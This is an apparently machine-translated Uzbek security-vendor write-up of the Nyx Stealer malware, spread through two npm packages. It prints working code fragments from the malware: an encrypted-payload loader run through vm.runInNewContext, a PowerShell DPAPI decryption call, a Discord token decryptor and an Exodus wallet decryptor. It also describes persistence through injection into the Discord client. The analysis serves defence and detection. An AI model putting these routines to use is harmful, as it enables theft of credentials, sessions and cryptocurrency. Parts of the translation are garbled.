npm Infostealer

Yangi npm Infostealer kashfiyoti: Nyx ​​Stealer Discord sessiyalarini o'g'irlaydi

TP; DR

Xygeni xavfsizlik tadqiqot guruhi ikkita zararli paket orqali yetkazib beriladigan murakkab npm infostealer kampaniyasini aniqladi: konsollofy va o'z-o'zini bot-lofy.

Eng so'nggi versiyasi (consolelofy@1.3.0) ish vaqtida shifrini ochadigan va quyidagi orqali bajariladigan 216KB AES shifrlangan foydali yuklamani joylashtiradi vm.runInNewContext()Zararli mantiq to'liq shifrlanganligi sababli, satr tekshiruviga tayanadigan statik skanerlar uning xatti-harakatlarini bajarilish vaqtigacha kuzata olmaydi.

Shifrni ochgandan so'ng, foydali yuk ichki brendga ega bo'ladi Nyx o'g'risi, maqsadlar:

  • Discord autentifikatsiya tokenlari
  • 50 dan ortiq brauzer ma'lumotlari do'konlari
  • 90+ kriptovalyuta hamyon kengaytmalari
  • Roblox, Instagram, Spotify, Steam, Telegram va TikTok sessiyalari
  • Discord ish stoli mijozining barqarorligi

Ikkala paketdagi barcha 20 ta versiya zararli ekanligi haqida xabar berildi va tasdiqlandi.

Ushbu npm Infostealerning texnik ko'rinishi

An'anaviy o'rnatish vaqtidagi zararli dasturlardan farqli o'laroq, bu kampaniya quyidagilarga tayanadi: ish vaqti shifrni ochish modeli.

Bu yerda:

  • Yomon niyatli emas preinstall or postinstall hooks
  • O'rnatish vaqtida aniq tarmoq qo'ng'iroqlari yo'q
  • Oddiy matnli ma'lumotlarni yig'ish mantig'i yo'q

Modul import qilinganda yuklama faollashadi. Zararli dasturning butun tanasi shifrlangan va faqat ish vaqtida xotirada paydo bo'ladi.

Ushbu dizayn, ayniqsa, paketni o'rnatish paytida aniqlanishni oldini oladi.

Ushbu npm Infostealer aslida qanday ishlaydi

Nyx Stealer nimani o'g'irlashini tahlil qilishdan oldin, biz tushunishimiz kerak qanday amalga oshiriladi.

Ushbu npm infostealer ichidagi zararli mantiq izchil naqshga amal qiladi:

Kichik yuklovchi katta shifrlangan foydali yukni shifrlaydi va uni Node.js VM kontekstida dinamik ravishda bajaradi.

Bu dizayn ataylab qilingan. Hujumchi funksiyani faqat chalkashtirish ortida yashirmaydi, ular zararli kodni statik ko'rinishdan butunlay olib tashlash.

Yuqori darajadagi ijro modeli

Yuqori darajada, o'rash to'rtta narsani bajaradi:

  • SHA-256 yordamida qattiq kodlangan paroldan AES kalitini oladi
  • AES-256-CBC yordamida katta hex-kodlangan shifrlangan matnni shifrlaydi
  • Shifrlangan JavaScript yordamida bajariladi vm.runInNewContext()
  • Kuchli ish vaqti ibtidoiylarini hali ham ochib beradigan sinov muhitini taqdim etadi

Asosiy texnika xulosasi

Component Konfiguratsiya / qiymat
Algoritm AES-256-CBC
Kalit hosilasi SHA-256 (parol)
Boshlash vektori (IV) 0x00 ning 16 bayti
qatl vm.runInNewContext(shifrlangan, sinov muhiti)

Muhimi, sinov muhiti quyidagilardan o'tadi:

  • require
  • process
  • Buffer
  • taymerlar
  • modul eksporti

Bu shuni anglatadiki, shifrlangan yuk quyidagi imkoniyatlarni to'liq saqlab qoladi:

  • Urug'lanish jarayonlari
  • Fayllarni o'qish va yozish
  • Tarmoq qo'ng'iroqlarini amalga oshiring
  • Mahalliy ilovalarni o'zgartirish

Bu cheklangan VM emas. Bu ijro batut sifatida ishlatiladigan VM.

Ish vaqti shifrlash naqshlari (asosiy ijro mexanizmi)

Yuklagich kichik.
Yomon niyatli tana unday emas.

Paket ichidagi ijro naqshlari quyida keltirilgan:

const crypto = require('crypto'); const vm = require('vm');  function decryptAndExecute(encryptedHex, passphrase) {     const key = crypto.createHash('sha256')                       .update(passphrase)                       .digest();      const iv = Buffer.alloc(16, 0);      const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);     let decrypted = decipher.update(encryptedHex, 'hex', 'utf8');     decrypted += decipher.final('utf8');      const sandbox = {         require,         module,         exports,         console,         process,         Buffer,         __dirname,         __filename,         setTimeout,         setInterval,         clearTimeout,         clearInterval     };      vm.runInNewContext(decrypted, sandbox); }

Nima uchun bu masala

Shifrlangan yuk:

  • qiladimi yo'q npm paketi ichida oddiy matnda mavjud
  • Oddiy ko'rinmas grep yoki statik satrlarni skanerlash
  • Xotirada faqat ish vaqtida aks etadi
  • To'liq Node ish vaqti imkoniyatlari bilan bajaradi

Ushbu AES + VM ijro kombinatsiyasi kuchli xulq-atvor ko'rsatkichidir npm infostealer statik tekshiruvdan qochishga urinmoqda.

Boshqa so'z bilan aytganda:

Agar siz paket manba daraxtini skanerlasangiz, o'g'irlovchini ko'rmaysiz.
Siz shifrni ochuvchini ko'rasiz.

Shifrni ochishdan keyin nima bo'ladi

Nyx Stealer bajarilgandan so'ng, parallel ma'lumotlarni yig'ish to'lqinlarini ishga tushiradi.

1-to'lqin: Brauzer ma'lumotlarini olish

Zararli dastur:

  • NuGet CDN dan Python ish vaqtini yuklab oladi
  • Kriptografik kutubxonalarni o'rnatadi
  • Chromium asosidagi hisob ma'lumotlari omborlarini ajratib oladi
  • DPAPI bilan himoyalangan sirlarni shifrlaydi

Mahalliy bog'lanishlarni kompilyatsiya qilish o'rniga, u Windows DPAPI-ni to'g'ridan-to'g'ri chaqirish uchun PowerShell-dan foydalanadi.

function dpapiUnprotectWithPowerShell(dataBuf) {     const b64 = dataBuf.toString('base64');      const ps =         "Add-Type -AssemblyName System.Security;" +         "$b=[Convert]::FromBase64String('" + b64 + "');" +         "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" +         "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" +         "[Console]::Out.Write([Convert]::ToBase64String($p))";      const cmd =         `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`;      return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); }

Ushbu yondashuv:

  • Kompilyatsiya artefaktlaridan qochadi
  • Windows kripto API'laridan foydalanadi
  • Ma'muriy vositalar bilan uyg'unlashadi

Bu OS darajasidagi hisob ma'lumotlarini shifrlash, qirib olish emas.

2-to'lqin: Discord tokenini shifrlash

O'g'irlovchi protokoldan xabardor. U Discordning shifrlangan token formatini tushunadi.

function decryptToken(encryptedToken, key) {     const tokenParts = encryptedToken.split('dQw4w9WgXcQ:');     const encryptedData = Buffer.from(tokenParts[1], 'base64');      const iv = encryptedData.slice(3, 15);     const ciphertext = encryptedData.slice(15, -16);     const tag = encryptedData.slice(-16);      const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv);     decipher.setAuthTag(tag);      return decipher.update(ciphertext).toString('utf8'); }

Operatsion oqim:

  • Discord'dan asosiy kalitni ajratib oling Local State
  • DPAPI orqali asosiy kalitni shifrlash
  • AES-GCM token bloklarini shifrdan chiqarish
  • Discord API-ga qarshi tokenlarni tasdiqlash
  • Nitro, nishonlar va to'lov ma'lumotlari bilan boyiting

Bu umumiy hisob ma'lumotlarini o'g'irlash emas. Bu protokolga asoslangan sessiyani o'g'irlashdir.

3-to'lqin: Kriptovalyuta hamyonini nishonga olish

npm infostealer quyidagilarni sanab o'tadi:

  • 90+ brauzer hamyon kengaytmalari
  • 27 ta ish stoli hamyonlari
  • Sovuq hamyon yo'llari
  • Exodus urug'lik fayllari

Misol uchun, shifrni ochishga urinish:

function decryptSeco(content, password) {     const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512');      const decipher = crypto.createDecipheriv(         'aes-256-gcm',         key,         content.slice(0, 12)     );      decipher.setAuthTag(content.slice(-16));      return Buffer.concat([         decipher.update(content.slice(12, -16)),         decipher.final()     ]).toString('utf8'); }

Agar muvaffaqiyatli bo'lsa, hamyon murosaga kelishish darhol va qaytarib bo'lmaydigan bo'ladi.

Bu kampaniyaning eng yuqori qiymatli monetizatsiya vektorini ifodalaydi.

Discord Desktop Injection orqali qat'iyatlilik

Ishonchnomalarni to'plagandan so'ng, Nyx Stealer mahalliy ma'lumotlarni o'zgartirish orqali qat'iyatlilikka harakat qiladi. Tanqid mijoz.

Nishon:

%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js

Operatsion ketma-ketligi

Infostealer quyidagi amallarni bajaradi:

  • Ishlayotgan Discord jarayonlarini to'xtatadi
  • O'rnatilgan Discord variantlarini topadi (Stable, Canary, PTB)
  • Ustidan yozadi discord_desktop_core/index.js
  • Hujumchi tomonidan boshqariladigan veb-huk mantig'ini kiritadi
  • Discordni qayta ishga tushiradi

Bu kelajakdagi Discord sessiyalarida yangi autentifikatsiya tokenlari avtomatik ravishda oqib ketishini ta'minlaydi.

Muhimi, bu qat'iylik rejalashtirilgan vazifalarga yoki registrdagi o'zgarishlarga bog'liq emas. U ilova darajasidagi kodni o'zgartirishdan, ya'ni maxfiyroq yondashuvdan foydalanadi.

Zararli npm paketi keyinchalik olib tashlansa ham, Discord mijozi buzilganligicha qolmoqda.

Texnik taqqoslash: Legitimate Selfbot va npm Infostealer

Component Qonuniy kutubxona Nyx npm Infostealer
shifrlash hech qaysi To'liq AES bilan shifrlangan yuk
Ish vaqti virtual mashinasi Talab qilinmaydi vm.runInNewContext bajarish
Hisob ma'lumotlariga kirish Faqat Discord API'si Brauzer, hamyonlar, DPAPI
Tashqi yuklab olishlar Yo'q NuGet orqali Python ish vaqti
Barqarorlik Yo'q Discord mijoz in'ektsiyasi
Pul ishlash Botlarni avtomatlashtirish Ishonchnomani qayta sotish

Shifrlash qatlamining o'zi bu kampaniyani odatiy ochiq kodli vilkadan ajratib turadi.

Qonuniy Discord selfboti butun kod bazasini shifrlash, DPAPI ga kirish uchun PowerShell ni ishga tushirish, tashqi ish vaqtlarini yuklab olish yoki ish stoli ilovasining ichki sozlamalarini o'zgartirish uchun hech qanday sababga ega emas. Ushbu imkoniyatlar Discord o'zaro ta'sirini avtomatlashtirishni da'vo qiladigan qaramlik ichida paydo bo'lganda, arxitektura nomuvofiqligini e'tiborsiz qoldirib bo'lmaydi.

Tadqiqot nuqtai nazaridan, ushbu npm infostealer bir nechta qatlamlarda iz qoldiradi. Biroq, eng ishonchli ko'rsatkichlar qattiq kodlangan URL manzillari yoki ma'lum fayl yo'llari emas, chunki ular versiyalar orasida o'zgarishi mumkin. Buning o'rniga, bardoshli signallar strukturaviydir.

Paket darajasida eng kuchli qizil bayroq katta shifrlangan foydali yuklama va darhol bajariladigan ish vaqtidagi shifrni ochish paketining kombinatsiyasi hisoblanadi vm.runInNewContext()Shifrlashning o'zi zararli bo'lmasa-da, Discord yordamchi dasturi paketida AES shifrini ochish va keyin dinamik VM ijro etish juda g'ayritabiiydir.

Xost darajasida shubhali naqshlar kutilmagan DPAPI shifrini ochish faolligi, Node.js qaramlik kontekstidan jarayonlarning paydo bo'lishi va uchinchi tomon kutubxonalari tomonidan hech qachon o'zgartirilmasligi kerak bo'lgan mahalliy dastur fayllarini o'zgartirishni o'z ichiga oladi. Xuddi shunday, tarmoq sathida, ishlab chiqish qaramligi tomonidan boshlangan chiquvchi veb-huk uslubidagi aloqa yana bir mazmunli anomaliyani ifodalaydi.

Boshqacha qilib aytganda, aniqlash yuzasi buzilishning yagona ko'rsatkichi emas. Tahdidni ochib beradigan narsa shifrlash, ish vaqtida bajarilishi, hisobga olish ma'lumotlariga kirish va doimiylik xatti-harakatlarining o'zaro bog'liqligidir.

Xygeni yordamida aniqlash va kamaytirish

npm Infostealer

Ushbu npm ma'lumot o'g'risi tomonidan aniqlangan Xygeni zararli dasturi haqida erta ogohlantirish (MEW) oddiy imzo moslashuvi o'rniga qatlamli xulq-atvor korrelyatsiyasi orqali.

Ma'lum zararli satrlarni qidirish o'rniga, MEW to'liq manba daraxti bo'ylab strukturaviy anomaliyalarni baholaydi. Bu holda, aniqlash bir nechta signallarning yaqinlashuvidan kelib chiqadi: modul kirish nuqtasida o'rnatilgan AES shifrini ochish tartibi, VM kontekstida darhol bajarilishi va aniq imkoniyat-niyat nomuvofiqligi.

Muhimi, bu signallarning hech biri yolg'iz o'zi zararli niyatni isbotlamaydi. Biroq, birgalikda tahlil qilinganda, ular ish vaqtidagi xatti-harakatlarni yashirishga urinishni fosh qiladi. Ushbu qatlamli yondashuv yuqori ishonchlilikdagi ta'minot zanjiri tahdidlarini aniqlash bilan birga noto'g'ri ijobiy natijalarni sezilarli darajada kamaytiradi.

Bundan tashqari, bu holat nima uchun faqat o'rnatish vaqtida tekshirishning o'zi yetarli emasligini ko'rsatadi. Zararli mantiq hayot aylanishi skriptlarida mavjud emas. U faqat modul yuklangandan so'ng faollashadi va faqat xotirada shifrlangandan keyingina ko'rinadi. Shuning uchun samarali himoya shifrlashdan xabardor tahlil, xulq-atvor naqshini aniqlash va o'rnatish hodisalaridan tashqari doimiy bog'liqlikni monitoring qilishni talab qiladi.

Registrni olib tashlash reaktivdir. Ish vaqtiga asoslangan tahlil profilaktika hisoblanadi.

Nima uchun bu npm Infostealer muhim

Nyx Stealer npm asosidagi zararli dasturlarning strukturaviy evolyutsiyasini ifodalaydi.

Tarixan, ko'plab zararli paketlar ko'rinadigan o'rnatish vaqtidagi skriptlarga yoki aniq hisob ma'lumotlarini chiqarib tashlashning oxirgi nuqtalariga tayangan. Aksincha, bu kampaniya o'zining foydali yukini shifrlaydi, bajarilishini ish vaqtiga kechiktiradi, qonuniy operatsion tizim API-laridan foydalanadi va ishonchli ilovalar ichida barqarorlikni o'rnatadi.

Natijada, tajovuzkor npm infratuzilmasidan o'zi foydalanishi shart emas. Buning o'rniga, hujum muvaffaqiyatli bo'ladi, chunki qaramlikni o'rnatish ishonchni anglatadi. Ishlab chiquvchilar kutubxonani import qilish xavfsiz operatsiya deb taxmin qilishadi, ayniqsa u o'zini mashhur vositaning ishonchli vilkasi sifatida ko'rsatganda.

Ekosistemalar o'sishda davom etar va vilkalar ko'payib borar ekan, bu yashirin ishonch chegarasi tobora jozibador hujum yuzasiga aylanib bormoqda. Shuning uchun, zamonaviy npm ma'lumotlar o'g'irlovchilaridan himoyalanish statik simlarni qidirish o'rniga me'moriy naqshlarni tan olishni talab qiladi.

Oxir-oqibat, ushbu kampaniya muhim saboqni mustahkamlaydi software supply chain securityEng xavfli tahdidlar birinchi qarashda zararli ko'rinadigan tahdidlar emas, balki ish vaqti ularning haqiqiy xatti-harakatlarini ochib bermaguncha strukturaviy jihatdan qonuniy ko'rinadigan tahdidlardir.

sca-vositalari-dasturiy ta'minot-kompozitsiya-tahlil-vositalari
Dasturiy ta'minot xavflaringizni ustuvorlashtiring, bartaraf eting va himoya qiling
Bepul hisobingizni oling.
Kredit karta talab qilinmaydi.

Dasturiy ta'minotingizni ishlab chiqish va yetkazib berishni ta'minlang

Xygeni mahsulot to'plami bilan